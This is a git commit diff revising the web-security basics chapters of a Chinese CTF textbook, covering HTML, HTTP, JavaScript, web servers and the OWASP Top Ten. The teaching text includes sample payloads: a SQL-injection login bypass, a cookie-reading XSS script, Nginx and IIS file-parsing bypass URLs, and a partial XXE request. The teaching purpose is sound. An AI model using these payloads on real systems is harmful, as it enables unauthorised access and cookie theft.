校对Web部分;完成7.1.7

This commit is contained in:
firmianay 2018-02-21 16:38:41 +08:00
parent fc5f1837ce
commit 569bff2585
15 changed files with 607 additions and 385 deletions

View File

@ -65,7 +65,9 @@ GitHub 地址https://github.com/firmianay/CTF-All-In-One
* [3.3.5 Linux 堆利用(上)](doc/3.3.5_heap_exploit_1.md)
* [3.3.6 Linux 堆利用(中)](doc/3.3.6_heap_exploit_2.md)
* [3.3.7 Linux 堆利用(下)](doc/3.3.7_heap_exploit_3.md)
* [3.3.8 Windows 内核漏洞利用](doc/3.3.8_windows_kernel_exploit.md)
* [3.3.8 内核 ROP](doc/3.3.8_kernel_rop.md)
* [3.3.9 Linux 内核漏洞利用](doc/3.3.9_linux_kernel_exploit.md)
* [3.3.10 Windows 内核漏洞利用](doc/3.3.10_windows_kernel_exploit.md)
* [3.4 Web](doc/3.4_web.md)
* [3.4.1 SQL 注入利用](doc/3.4.1_sql_injection.md)
* [3.4.2 XSS 漏洞利用](doc/3.4.2_xss.md)

View File

@ -5,8 +5,8 @@
- [HTML 编码](#html-编码)
- [HTML5 新特性](#html5-新特性)
## 什么是 HTML
## 什么是 HTML
HTML 是用来描述网页的一种语言。
- HTML 指的是超文本标记语言 (Hyper Text Markup Language)
@ -20,13 +20,13 @@ HTML 是用来描述网页的一种语言。
由于是通过浏览器动态解析,因此可以使用普通文本编辑器来编写 HTML。
## HTML 中的标签与元素
## HTML 中的标签与元素
标签和元素共同构成了 HTML 多样的格式和丰富的功能。
HTML 元素以开始标签起始,以结束标签终止。元素处于开始标签与结束标签之间,标签之间可以嵌套,一个典型的 HTML 文档如下:
```
```html
<html>
<!-- html文档申明标签 -->
<body>
@ -38,11 +38,9 @@ HTML 元素以开始标签起始,以结束标签终止。元素处于开始标
```
#### 信息隐藏
HTML 中的部分标签用于元信息展示、注释等功能,并不用于内容的显示。另一方面,一些属性具有修改浏览器显示样式的功能,在 CTF 中常被用来进行信息隐藏。
```
```html
标签
<!--...-->,定义注释
<!DOCTYPE>,定义文档类型
@ -55,11 +53,9 @@ hidden隐藏元素
```
#### XSS
关于 XSS 漏洞的详细介绍见 1.4.5 节的 OWASP Top Ten Project 漏洞基础。导致 XSS 漏洞的原因是嵌入在 HTML 中的其它动态语言,但是 HTML 为恶意注入提供了输入口。
常见与 XSS 相关的标签或属性如下:
```
<script>
<img src=>,规定显示图像的 URL
@ -76,7 +72,6 @@ hidden隐藏元素
## HTML 编码
HTML 编码是一种用于表示问题字符已将其安全并入 HTML 文档的方案。HTML 定义了大量 HTML 实体来表示特殊的字符。
|HTML 编码|特殊字符|
|-------|-------|
| &quot | " |
@ -94,20 +89,18 @@ HTML 编码是一种用于表示问题字符已将其安全并入 HTML 文档的
| &#x22 | " |
| &#x27 | ' |
## HTML5 新特性
## HTML5 新特性
其实 HTML5 已经不新了,之所以还会在这里提到 HTML5是因为更强大的功能会带来更多意想不到的问题。
HTML5 的一些新特性:
- 新的语义元素标签
- 新的表单控件
- 强大的图像支持
- 强大的多媒体支持
- 强大的 API
## 参考资料
[W3C HTML 教程](http://www.w3school.com.cn/html/)
[HTML5 安全问题](http://html5sec.org/)
- [W3C HTML 教程](http://www.w3school.com.cn/html/)
- [HTML5 安全问题](http://html5sec.org/)

View File

@ -8,17 +8,18 @@
- [Cookie](#cookie)
- [状态码](#状态码)
- [HTTPS](#https)
- [参考资料](#参考资料)
## 什么是 HTTP
HTTP 是 Web 领域的核心通信协议。最初的 HTTP 支持基于文本的静态资源获取,随着协议版本的不断迭代,它已经支持如今常见的复杂分布式应用程序。
HTTP 使用一种基于消息的模型,建立于 TCP 层之上。由客户端发送一条请求消息,而后由服务器返回一条响应消息。
## HTTP 请求与响应
一次完整的请求或响应由消息头、一个空白行和消息主体构成。以下是一个典型的 HTTP 请求:
```
```http
GET / HTTP/1.1
Host: www.github.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
@ -29,15 +30,10 @@ Upgrade-Insecure-Requests: 1
Cookie: logged_in=yes;
Connection: close
```
第一行分别是请求方法,请求的资源路径和使用的 HTTP 协议版本,第二至九行为消息头键值对。
第一行分别是请求方法,请求的资源路径和使用的 HTTP 协议版本
第二至九行为消息头键值对
以下是对上面请求的回应(并不一定和真实访问相同,这里只是做为示例)
```
以下是对上面请求的回应(并不一定和真实访问相同,这里只是做为示例):
```http
HTTP/1.1 200 OK
Date: Tue, 26 Dec 2017 02:28:53 GMT
Content-Type: text/html; charset=utf-8
@ -63,16 +59,12 @@ Content-Length: 128504
<!DOCTYPE html>
......
```
第一行为协议版本、状态号和对应状态的信息,第二至二十二为返回头键值对,紧接着为一个空行和返回的内容实体。
第一行为协议版本、状态号和对应状态的信息
第二至二十二为返回头键值对
紧接着为一个空行和返回的内容实体。
## HTTP 方法
在提到HTTP方法之前我们需要先讨论一下 HTTP 版本问题。HTTP 协议现在共有三个大版本,版本差异会导致一些潜在的漏洞利用方式。
在提到 HTTP 方法之前,我们需要先讨论一下 HTTP 版本问题。HTTP 协议现在共有三个大版本,版本差异会导致一些潜在的漏洞利用方式。
|版本 |简述 |
|-------|-------|
@ -93,9 +85,7 @@ Content-Length: 128504
## URL
URL 是统一资源定位符,它代表了 Web 资源的唯一标识,如同电脑上的盘符路径。最常见的 URL 格式如下所示:
```
protocol://[user[:password]@]hostname[:post]/[path]/file[?param=value]
协议 分隔符 用户信息 域名 端口 路径 资源文件 参数键 参数值
@ -105,8 +95,8 @@ protocol://[user[:password]@]hostname[:post]/[path]/file[?param=value]
![](../pic/1.4.2_http_url.png)
## HTTP 消息头
## HTTP 消息头
HTTP 支持许多不同的消息头,一些有着特殊作用,而另一些则特定出现在请求或者响应中。
|消息头 |描述 |备注 |
@ -129,24 +119,20 @@ HTTP 支持许多不同的消息头,一些有着特殊作用,而另一些则
|Set-Cookie |向浏览器发布 cookie |响应 |
|WWW-Authenticate|提供服务器支持的验证信息 |响应 |
## Cookie
## Cookie
Cookie 是大多数 Web 应用程序所依赖的关键组成部分,它用来弥补 HTTP 的无状态记录的缺陷。服务器使用 Set-Cookie 发布 cookie浏览器获取 cookie 后每次请求会在 Cookie 字段中包含 cookie 值。
Cookie 是一组键值对,另外还包括以下信息:
- expires用于设定 cookie 的有效时间。
- domain用于指定 cookie 的有效域。
- path用于指定 cookie 的有效 URL 路径。
- secure指定仅在 HTTPS 中提交 cookie。
- HttpOnly指定无法通过客户端 JavaScript 直接访问 cookie。
## 状态码
状态码表明资源的请求结果状态,由三位十进制数组成,第一位代表基本的类别:
- 1xx提供信息
- 2xx请求成功提交
- 3xx客户端重定向其他资源
@ -173,19 +159,17 @@ Cookie 是一组键值对,另外还包括以下信息:
|500|Internal Server Error|服务器执行请求时遇到错误 |
|503|Service Unavailable|Web服务器正常但请求无法被响应|
401 状态支持的 HTTP 身份认证
401 状态支持的 HTTP 身份认证:
- Basic以 Base64 编码的方式发送证书
- NTLM一种质询-响应机制
- Digest一种质询-响应机制,随同证书一起使用一个随机的 MD5 校验和
## HTTPS
## HTTPS
HTTPS 用来弥补 HTTP 明文传输的缺陷。通过使用安全套接字 SSL在端与端之间传输加密后的消息保护传输数据的隐密性和完整性并且原始的 HTTP 协议依然按照之前同样的方式运作,不需要改变。
## 参考资料
[URL](https://en.wikipedia.org/wiki/URL)
[HTTP 协议版本对比](https://www.cnblogs.com/andashu/p/6441271.html)
《黑客攻防技术宝典——Web 实战篇》
- [URL](https://en.wikipedia.org/wiki/URL)
- [HTTP 协议版本对比](https://www.cnblogs.com/andashu/p/6441271.html)
- 《黑客攻防技术宝典——Web 实战篇》

View File

@ -1,20 +1,20 @@
# 1.4.3 JavaScript基础
- [使用浏览器执行前端 JavaScript](#通过浏览器执行前端-javaccript)
- [使用浏览器执行前端 JavaScript](#通过浏览器执行前端-javascript)
- [JavaScript 数据类型](#javascript-数据类型)
- [JavaScript 编程逻辑](#javascript-编程逻辑)
- [JavaScript 打印数据](#javascript-打印数据)
- [JavaScript 框架](#javascript-框架)
- [JavaScript DOM 和 BOM](#javascript-dom-和-bom)
- [JavaScript 混淆](#javascript-混淆)
- [使用 Node.js 执行后端 JavaScript](#使用-node.js-执行后端-javascript)
- [Node.js 模块](#node.js 模块)
- [使用 Node.js 执行后端 JavaScript](#使用-nodejs-执行后端-javascript)
- [Node.js 模块](#nodejs-模块)
- [参考资料](#参考资料)
## 使用浏览器执行前端 JavaScript
大多数浏览器通过 F12 可以调出调试窗口如图所示。在调试窗口中可以执行相关代码。JS 是一种解释性语言,由解释器对代码进行解析。
```
```js
console.log("Hello World!")
```
@ -22,16 +22,15 @@ console.log("Hello World!")
在浏览器中,会集成 JS 的解析引擎,不同的浏览器拥有不同的解析引擎,这就使得 JS 的执行在不同浏览器上有不同的解释效果。
浏览器 | 引擎 |
--- | --- |
IE/Edge|Chakra|
Firefox|SpiderMonkey|
Safari|SFX|
Chrome|V8|
Opera|Carakan|
| 浏览器 | 引擎 |
| --- | --- |
| IE/Edge | Chakra |
| Firefox | SpiderMonkey |
| Safari | SFX |
| Chrome | V8 |
| Opera | Carakan |
嵌入在 HTML 中的 JS 代码通常有以下几种形式:
```
直接插入代码块
<script>console.log('Hello World!');</script>
@ -43,40 +42,34 @@ Opera|Carakan|
<a href="javascript:alert('Hello')"></a>
```
## JavaScript 数据类型
作为弱类型的语言JS 的变量声明不需要指定数据类型:
```
```js
var pi=3.14;
var pi='ratio of the circumference of a circle to its diameter';
```
当然,可以通过“ new ”来声明变量类型
```
当然,可以通过“ new ”来声明变量类型:
```js
var pi=new String;
var pi=new Number;
var pi=new Boolean;
var pi=new Array;
var pi=new Object;
```
上一个示例也展示了 JS 的数据类型,分别是字符串、数字、布尔值、数组和对象。
有两个特殊的类型是 Undefined 和 Null形象一点区分前者表示有坑在但坑中没有值后者表示没有坑。另外所有 JS 变量都是对象,**但是需要注意的是,对象声明的字符串和直接赋值的字符串并不严格相等**。
## JavaScript 编程逻辑
### 基础
#### 基础
JS 语句使用分号分隔。
### 逻辑语句
if 条件语句
```
if 条件语句:
```js
if (condition)
{
代码块
@ -87,9 +80,8 @@ else
}
```
switch 条件语句
```
switch 条件语句:
```js
switch(n)
{
case 1:
@ -103,32 +95,28 @@ switch(n)
}
```
for/for in 循环语句
```
for/for in 循环语句:
```js
for (代码1代码2代码3)
{
代码块
}
```
```
```js
for (x in xs)
{
代码块
}
```
while/do while 循环语句
```
while/do while 循环语句:
```js
while (条件)
{
代码块
}
```
```
```js
do
{
代码块
@ -136,50 +124,43 @@ do
while (条件);
```
## JavaScript 打印数据
## JavaScript 打印数据
在浏览器中调试代码时,经常用到的手段是打印变量。
函数|作用
--|--
window.alert()|弹出警告框
document.write()|写入HTML文档
console.log()|写入浏览器控制台
| 函数 | 作用 |
| --- | --- |
| window.alert() | 弹出警告框 |
| document.write() | 写入HTML文档 |
| console.log() | 写入浏览器控制台 |
![](../pic/1.4.3_window_alert.png)
![](../pic/1.4.3_document_write.png)
![](../pic/1.4.3_document_write)
## JavaScript 框架
JS 同样有许多功能强大的框架。大多数的前端 JS 框架使用外部引用的方式将 JS 文件引入到正在编写的文档中。
### jQuery
#### jQuery
jQuery 封装了常用的 JS 功能,通过选择器的机制来操纵 DOM 节点,完成复杂的前端效果展示。
### Angular
#### Angular
实现了前端的 MVC 架构,通过动态数据绑定来简化数据转递流程。
### React
#### React
利用组件来构建前端UI的框架
### Vue
#### Vue
MVVM 构架的前端库,理论上讲,将它定义为数据驱动、组件化的框架,但这些概念也可能适用于其他框架,所以可能只有去真正使用到所有框架才能领悟到它们之间的区别。
### 其他
#### 其他
还有许许多多针对不同功能的框架,比如针对图表可视化、网络信息传递或者移动端优化等等。
### 双向数据绑定
#### 双向数据绑定
传统基于MVC的架构的思想是数据单向的传送到 View 视图中进行显示,但是有时我们还需要将视图层的数据传输回模型层,这部分的功能就由前端 JS 来接手因此许多近几年出现的新框架都使用数据双向绑定来完成MVVM的新构架这就带给了用户更多的权限接触到程序的编程逻辑进而产生一些安全问题比较典型的就是许多框架曾经存在的模板注入问题。
## JavaScript DOM 和 BOM
| | |
@ -187,93 +168,57 @@ MVVM 构架的前端库,理论上讲,将它定义为数据驱动、组件化
|DOM|文档对象模型JS 通过操纵 DOM 可以动态获取、修改 HTML 中的元素、属性、CSS 样式,这种修改有时会带来 XSS 攻击风险|
|BOM|浏览器对象模型,类比于 DOM赋予 JS 对浏览器本身进行有限的操纵,获取 Cookie、地理位置、系统硬件或浏览器插件信息等|
## JavaScript 混淆
## JavaScript 混淆
由于前端代码的可见性出于知识产权或者其他目的JS 代码通过混淆的方法使得自己既能被浏览器执行,又难以被人为解读。常见的混淆方法有重命名变量名和函数名、挤压代码、拼接字符、使用动态执行函数在函数与字符串之间进行替换等。下面对比代码混淆前后的差异。
```
混淆前
混淆前:
```js
console.log('Hello World!');
混淆后
```
混淆后:
```js
console["\x6c\x6f\x67"]('\x48\x65\x6c\x6c\x6f \x57\x6f\x72\x6c\x64\x21');
更加复杂的混淆
```
更加复杂的混淆后:
```js
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('1.0(\'3 2!\');',4,4,'log|console|World|Hello'.split('|'),0,{}))
```
由于之前提到的特性,无论混淆有多么复杂,最终它都能够在浏览器中被解释执行。
## 使用 Node.js 执行后端 JavaScript
## 使用 Node.js 执行后端 JavaScript
在 [安装完成](https://nodejs.org/en/download/) Node.js 后,我们可以尝试编写第一个后端 JS 程序。
1.打开文本编辑器,写入
```
```js
console.log("Hello World");
```
并保存为 hello.js
并保存为 `hello.js`
2.使用
```
```js
node hello.js
```
来执行文件
来执行文件。
![](../pic/1.4.3_nodejs)
## Node.js 模块
Node.js 同样通过丰富的模块提供强大的功能,模块使用 npm 进行管理。
events事件模块提供事件触发和事件监听功能
util核心功能模块用于弥补核心 JS 功能的不足
fs文件操作模块提供文件操作 API
httpWeb协议模块提供 Web 协议交互功能
expressWeb框架用于快速构建 Web 应用服务
vm沙箱模块提供干净的上下文环境
- `events`:事件模块,提供事件触发和事件监听功能
- `util`:核心功能模块,用于弥补核心 JS 功能的不足
- `fs`:文件操作模块,提供文件操作 API
- `http`Web 协议模块,提供 Web 协议交互功能
- `express`Web 框架,用于快速构建 Web 应用服务
- `vm`:沙箱模块,提供干净的上下文环境
后端 JS 就会存在其他语言后端所同样存在安全问题,包括基础的 Web 攻击、服务端模板注入、沙箱逃逸、内存溢出等问题。
## 参考资料
[JavaScript 教程](http://www.runoob.com/js/js-tutorial.html)
[Node.js 教程](http://www.runoob.com/nodejs/nodejs-tutorial.html)
[浅谈 Node.js 安全](https://zhuanlan.zhihu.com/p/28105239)
- [JavaScript 教程](http://www.runoob.com/js/js-tutorial.html)
- [Node.js 教程](http://www.runoob.com/nodejs/nodejs-tutorial.html)
- [浅谈 Node.js 安全](https://zhuanlan.zhihu.com/p/28105239)

View File

@ -5,64 +5,56 @@
- [IIS](#iis)
- [如何获取 Web 服务指纹](#如何获取-web-服务指纹)
由于涉及到 Web 服务器和应用服务器的差别问题,这里着重介绍三款使用广泛的 Web 服务器。
当客户端按照 HTTP 协议发送了请求服务端也写好了处理请求的逻辑代码这时就需要一个中间人来接收请求解析请求并将请求放入后端代码中执行最终将执行结果返回的页面传递给客户端。另外我们还要保证整个服务能同时被大规模的人群使用Web 服务器就充当了这样的角色。
## Apache HTTP Server
## Apache HTTP Server
Apache HTTP Server 以稳定、安全以及对 PHP 的高效支持而被广泛用于 PHP 语言中WAMP 或者 LAMP 就是它们组合的简称,即 Windows 或者 Linux 下的 Apache2+Mysql+PHP。
#### 安装
Windows 下推荐直接[安装](http://www.wampserver.com/en/) WAMP 环境
Windows 下推荐直接[安装](http://www.wampserver.com/en/) WAMP 环境。
Ubuntu 下可以依次使用命令安装,需要注意的是不同的系统版本对 PHP 的支持情况不同,这里以 ubuntu 16.04 为例。
```
sudo apt-get install apache2
sudo apt-get install mysql-server mysql-client
sudo apt-get install php7.0
sudo apt-get install libapache2-mod-php7.0
sudo apt-get install php7.0-mysql
service apache2 restart
service mysql restart
$ sudo apt-get install apache2
$ sudo apt-get install mysql-server mysql-client
$ sudo apt-get install php7.0
$ sudo apt-get install libapache2-mod-php7.0
$ sudo apt-get install php7.0-mysql
$ service apache2 restart
$ service mysql restart
```
#### 组件
Apache 服务器拥有强大的组件系统,这些组件补充了包括认证、日志记录、命令交互、语言支持等复杂功能,同样在 Apache 的发展过程中,许多组件都出现过漏洞,包括资源溢出、拒绝服务、远程命令执行等。
关于 Apache 的组件历史漏洞可以在 [https://www.exploit-db.com](https://www.exploit-db.com) 中进行查看
#### 文件后缀解析特性
Apache 支持多后缀解析,对文件的后缀解析采用从右向左的顺序,如果遇到无法识别的后缀名就会依次遍历剩下的后缀名。
同时,还可以在配置文件如下选项中增加其他后缀名
同时,还可以在配置文件如下选项中增加其他后缀名:
```
<IfModule mime_module>
```
更多的后缀名支持可以查看 mime.type 文件
更多的后缀名支持可以查看 `mime.type` 文件。
## Nginx
Nginx 的特点在于它的负载均衡和反向代理功能,在访问规模庞大的站点上通常使用 Nginx 作为服务器。同样Nginx 也和 Mysql、PHP 一同构成了 WNMP 和 LNMP 环境。和 Apache 默认将 PHP 作为模块加载不同的是Nginx 通过 CGI 来调用 PHP。
#### 安装
Windows 由于没有官方网站的 WNMP大家可以选择 Github 上的 WNMP 项目或者其他用户打包好的安装环境进行安装。
Windows由于没有官方网站的 WNMP大家可以选择 Github 上的 WNMP 项目或者其他用户打包好的安装环境进行安装
Ubuntu这里以 FPM 配置为例
Ubuntu 这里以 FPM 配置为例:
```
sudo apt-get install nginx
sudo apt-get install php7.0
sudo apt-get install php7.0-fpm
$ sudo apt-get install nginx
$ sudo apt-get install php7.0
$ sudo apt-get install php7.0-fpm
打开 vim /etc/nginx/sites-available/default
修改配置
server {
@ -76,27 +68,23 @@ server {
......
......
}
service nginx restart
sudo apt-get install mysql-server php7.0-mysql
sudo apt-get install mysql-client
$ service nginx restart
$ sudo apt-get install mysql-server php7.0-mysql
$ sudo apt-get install mysql-client
```
#### 文件后缀解析特性
由于 Nginx 对 CGI 的使用更加广泛,所以 PHP 在 CGI 的一些解析特性放到 Nginx 这里来讲解PHP 具有对文件路径进行修正的特性,使用如下配置参数
由于 Nginx 对 CGI 的使用更加广泛,所以 PHP 在 CGI 的一些解析特性放到 Nginx 这里来讲解PHP 具有对文件路径进行修正的特性,使用如下配置参数:
```
cgi.fix_pathinfo = 1
```
当使用如下的 URL 来访问一个存在的 1.jpg 资源时Nginx 认为这是一个 PHP 资源,于是会将该资源交给 PHP 来处理,而 PHP 此时会发现 1.php 不存在通过修正路径PHP 会将存在的 1.jpg 作为 PHP 来执行。
```
http://xxx/xxx/1.jpg/1.php
```
相似的绕过方式还有以下几种方式:
```
http://xxx/xxx/1.jpg%00.php
http://xxx/xxx/1.jpg \0.php
@ -106,18 +94,14 @@ http://xxx/xxx/1.jpg \0.php
## IIS
IIS 被广泛内置于 Windows 的多个操作系统中,只需要在控制面板中的 Windows 服务下打开 IIS 服务,即可进行配置操作。作为微软的 Web 服务器,它对 .net 的程序应用支持最好,同时也支持以 CGI 的方式加载其他语言。
#### 安装
IIS 通常只能运行在 Windows 系统上,以 Windows 10 为例,打开控制面板,依次选择程序-启用或关闭 Windows 功能,勾选打开 Internet Information Services 服务。
启动成功后,在 “此电脑” 选项上点击右键,打开 “管理” 选项,选择 “服务和应用程序” 即可看到 IIS 的相关配置。
#### IIS 解析特性
- IIS 短文件名
为了兼容 16 位 MS-DOS 程序, Windows 会为文件名较长的文件生成对应的短文件名,如下所示:
@ -126,27 +110,18 @@ IIS 通常只能运行在 Windows 系统上,以 Windows 10 为例,打开控
利用这种文件机制,我们可以在 IIS 和 .net 环境下进行短文件名爆破。
- IIS 6.0 解析特性
IIS 6.0 解析文件时会忽略分号后的字符串,因此
```
1.asp;2.jpg 将会被解析为
1.asp
```
IIS 6.0 解析文件时会忽略分号后的字符串,因此 `1.asp;2.jpg` 将会被解析为 `1.asp`
- IIS 也存在类似于 Nginx 的 CGI 解析特性
## 如何获取 Web 服务指纹
## 如何获取 Web 服务指纹
比赛中的信息获取往往十分重要,确定 Web 服务器指纹对于下一步的对策很重要。
#### HTTP 头识别
许多 Web 服务器都会在返回给用户的 HTTP 头中告知自己的服务器名称和版本。举例列出一些真实存在的包含服务器信息的 HTTP 头
许多 Web 服务器都会在返回给用户的 HTTP 头中告知自己的服务器名称和版本。举例列出一些真实存在的包含服务器信息的 HTTP 头:
```
Server: nginx
Server: Tengine
@ -158,27 +133,18 @@ X-Powered-By: ASP.NET
```
#### 文件扩展名
URL 中使用的文件扩展名也能够揭示相关的服务平台和编程语言
```
asp, Microsoft Active Server Pages
aspx, Microsoft ASP.NET
jsp, Java Server Pages
php, PHP
```
URL 中使用的文件扩展名也能够揭示相关的服务平台和编程语言,如:
- `asp`Microsoft Active Server Pages
- `aspx`Microsoft ASP.NET
- `jsp`Java Server Pages
- `php`PHP
#### 目录名称
一些子目录名称也常常表示应用程序所使用的相关技术
一些子目录名称也常常表示应用程序所使用的相关技术。
#### 会话令牌
许多服务会默认生成会话令牌,通过读取 cookie 中的会话令牌可以判断所使用的技术
```
JSESSIONID, JAVA
ASPSESSIONID, IIS
ASP.NET_SessionId, ASP.NET
PHPSESSID, PHP
```
许多服务会默认生成会话令牌,通过读取 cookie 中的会话令牌可以判断所使用的技术。如:
- `JSESSIONID`JAVA
- `ASPSESSIONID`IIS
- `ASP.NET_SessionId`ASP.NET
- `PHPSESSID`PHP

View File

@ -12,42 +12,37 @@
- [使用含有已知漏洞的组件](#使用含有已知漏洞的组件)
- [不足的日志记录和监控](#不足的日志记录和监控)
## OWASP Project
## OWASP Project
OWASP 是一个开放的 Web 安全社区,影响着 Web 安全的方方面面OWASP 每隔一段时间就会整理更新一次 “Top 10” 的 Web 漏洞排名,对当前实际环境常见的漏洞进行罗列,虽然漏洞排名经常引起业界的争议,但是在开源环境下,该计划公布的漏洞也能够客观反映实际场景中的某些问题,因此,我们选择 OWASP Top Ten 来作为 Web 方向的漏洞入门介绍材料。
## 注入
用一个不严谨的说法来形容注入攻击,就是,本应该处理用户输入字符的代码,将用户输入当作了代码来执行,常见于解释型语言。主要有以下几种形式:
|类别|说明|
|----|----|
|SQL 注入|最常见的注入形式,通过恶意拼接数据库语句,来实现非预期的功能|
|系统命令注入|通过拼接来执行非预期的操作系统指令|
|表达式语言注入|Java 中常见的命令注入执行方式|
|服务端模板注入|使用模板引擎的语言常见的注入形式|
| 类别 | 说明 |
| --- | --- |
| SQL 注入 | 最常见的注入形式,通过恶意拼接数据库语句,来实现非预期的功能 |
| 系统命令注入 | 通过拼接来执行非预期的操作系统指令 |
| 表达式语言注入 | Java 中常见的命令注入执行方式 |
| 服务端模板注入 | 使用模板引擎的语言常见的注入形式 |
一个简单的例子如下所示,这是一段身份认证常见的代码
```
一个简单的例子如下所示,这是一段身份认证常见的代码:
```sql
SELECT * FROM users WHERE username = 'admin' and password = '123456'
```
这个查询接收用户输入的账号和密码,放入数据库中进行查询,如果查询有结果则允许用户登录。在这种情况下,攻击者可以注入用户名或密码字段,来修改整个 SQL 语句的逻辑,用户可以提交这样的用户名:
```
```sql
admin' -- -
```
这时,应用程序将执行以下查询:
```
```sql
SELECT * FROM users WHERE username = 'admin' -- -' and password = '123456'
```
这里使用了 SQL 语句中的注释符(--),将密码部分查询注释掉,因此上面语句等同于:
```
```sql
SELECT * FROM users WHERE username = 'admin'
```
@ -55,24 +50,22 @@ SELECT * FROM users WHERE username = 'admin'
## 失效的身份认证
身份认证对于 Web 应用程序尤为重要,它是鉴别用户权限并授权的重要依据。但是,由于设计缺陷,许多登陆窗口缺乏验证码机制,导致攻击者可以低成本的对用户口令进行爆破攻击。另一方面,大量存在的弱口令或默认口令使得攻击者可以轻易的猜测出用户的常用口令,窃取用户权限。
当用户身份得到确定后,通常会使用会话来保持一定时间的权限,避免用户短时间内需要多次重复认证。但是,如果会话 ID 处理不当,有可能导致攻击者获取会话 ID 进行登录。
## 敏感数据泄露
## 敏感数据泄露
一种场景是由于没有进行科学的加密方法,导致敏感数据以明文形式泄露。另一种场景是由于人为的管理不当,导致个人信息、登录凭证泄漏到公网中,常见的敏感数据泄露包括网站备份文件泄露、代码仓库泄露、硬编码凭证于代码中导致的泄露。
比如,在 Github 中搜索口令或者 API 关键字,可以发现大量私人的凭证直接写在代码中被上传到 Github 仓库中。
## XML 外部实体
## XML 外部实体
从某种意义上说XXE 也是一种注入攻击。通过利用 XML 处理器对外部实体的处理机制,将用户的外部实体输入代替已定义的实体引用,执行恶意代码。
一个典型的 XXE 攻击如下所示:
```
```http
POST /AjaxSearch.ashx HTTP/1.1
Host: test.com
Content-Type: text/xml;
@ -83,16 +76,16 @@ Content-Type: text/xml;
我们创建了一个外部引用文档类型定义去访问一个敏感的系统文件,而这个外部引用会在应用程序中替代已经命名的实体去执行,最终获取到敏感文件,如果这个时候的执行结果会返回给用户,那么用户就可以看到敏感文件中的内容。
## 失效的访问控制
## 失效的访问控制
如果采用安全的代码框架编写模式,很有可能会造成访问控制失效问题,比如某一个需要用户登录才能访问的主页面,其中的某些功能实现的页面并没有添加权限认证过程,导致虽然攻击者无法访问主页面,但却能够访问到功能页面执行功能函数。
另一种常见的漏洞就是用户权限跨越,典型的方式是通过明文的 ID 数字来赋予用户权限,攻击者可以修改 ID 号来获取任意用户权限。
![](../pic/1.4.5_access_control)
![](../pic/1.4.5_access_control.png)
## 安全配置错误
由于配置疏忽,导致一些额外的信息、账户、文件可以被攻击者获取所导致的漏洞。常见的就是由于配置不当导致的目录遍历。
使用如下语句在 Google 中可以搜索到可目录遍历的网站,当然,许多网站也使用这种目录遍历的方式提供用户下载服务。
@ -101,51 +94,42 @@ Content-Type: text/xml;
intitle:index of
```
## 跨站脚本
## 跨站脚本
跨站脚本攻击XSS通过插入恶意脚本代码来窃取用户信息获取用户权限以及配合其他漏洞发动更加复杂的攻击一个最基本的 XSS 攻击如下所示,恶意脚本在 script 标签内,这一段脚本将会弹出你在当前页面上的 cookie 信息。
```
```html
<script>alert(document.cookie)</script>
```
XSS 漏洞根据表现形式的不同,主要有以下三种类型。
### 反射型 XSS
#### 反射型 XSS
有时,开发者会将一些用户可控的输入返回到网页中,如果返回的位置能够插入脚本语言或者触发事件,就存在反射型 XSS通常攻击者发动这类攻击时需要受害者进行交互因此这种攻击存在一定的局限性。
### 存储型 XSS
#### 存储型 XSS
存储型 XSS 是指当页面从持久化存储中读取内容并显示时,如果攻击者能够将 XSS 攻击代码写入持久化存储中,那么当任意用户访问漏洞页面时,都将触发恶意代码,因此,这种攻击具有更加严重的风险。
### DOM 型 XSS
#### DOM 型 XSS
DOM 型 XSS 是由于攻击者可控的内容被加入到了正常的 JS 的框架或者 API 中导致的漏洞。
## 不安全的反序列化
## 不安全的反序列化
序列化是一种数据对象传递手段,在传递数据值的同时保留了数据的结构属性。但是,如果在数据传递过程中处理不当,导致用户可控序列数据,在数据反序列化过程中就有可能造成命令执行或者越权行为。由于包括 Java、Python、PHP 等在内的语言都包含序列化和反序列化功能,根据不同的语言特性,利用方法有细微差距。
## 使用含有已知漏洞的组件
## 使用含有已知漏洞的组件
供应链安全是比较热门的话题,由于许多开源库被广泛用于各大社区、商业软件中,同时有部分的开源库并未得到有效维护,由此带来的供应链安全导致许多用户范围很广的软件存在着隐患。
当 0 day 漏洞公布后,一些场景无法及时的打补丁,也会使自身容易被攻击者利用。
## 不足的日志记录和监控
## 不足的日志记录和监控
对系统、服务日志的有效监控会增加攻击者的入侵成本,因此,及时有效的日志记录、日志审计也应该是安全建设的重要环节。
需要强调的是,有时不足的日志记录方式还会产生严重的漏洞利用点,有可能被攻击者用来传递 Webshell。
## 参考资料
[2017-owasp-top-10](http://www.owasp.org.cn/owasp-project/2017-owasp-top-10)
《黑客攻防技术宝典 - Web 实战篇》
- [2017-owasp-top-10](http://www.owasp.org.cn/owasp-project/2017-owasp-top-10)
- 《黑客攻防技术宝典 - Web 实战篇》

View File

@ -1,8 +1,8 @@
# 1.4 Web 安全基础
- [1.4.1 HTML基础]
- [1.4.2 HTTP协议基础]
- [1.4.3 JavaScript基础]
- [1.4.4 常见Web服务器基础]
- [1.4.5 OWASP Top Ten Project漏洞基础]
- [1.4.6 PHP源码审计基础]
- [1.4.1 HTML 基础](1.4.1_html_basic.md)
- [1.4.2 HTTP 协议基础](1.4.2_http_basic.md)
- [1.4.3 JavaScript 基础](1.4.3_javascript_basic.md)
- [1.4.4 常见 Web 服务器基础](1.4.4_webserver_basic.md)
- [1.4.5 OWASP Top Ten Project 漏洞基础](1.4.5_owasp_basic.md)
- [1.4.6 PHP 源码审计基础](1.4.6_php_basic.md)

View File

@ -4,6 +4,12 @@
- [1.2 学习方法](1.2_how_to_learn.md)
- [1.3 Linux 基础](1.3_linux_basic.md)
- [1.4 Web 安全基础](1.4_web_basic.md)
- [1.4.1 HTML 基础](1.4.1_html_basic.md)
- [1.4.2 HTTP 协议基础](1.4.2_http_basic.md)
- [1.4.3 JavaScript 基础](1.4.3_javascript_basic.md)
- [1.4.4 常见 Web 服务器基础](1.4.4_webserver_basic.md)
- [1.4.5 OWASP Top Ten Project 漏洞基础](1.4.5_owasp_basic.md)
- [1.4.6 PHP 源码审计基础](1.4.6_php_basic.md)
- [1.5 逆向工程基础](1.5_reverse_basic.md)
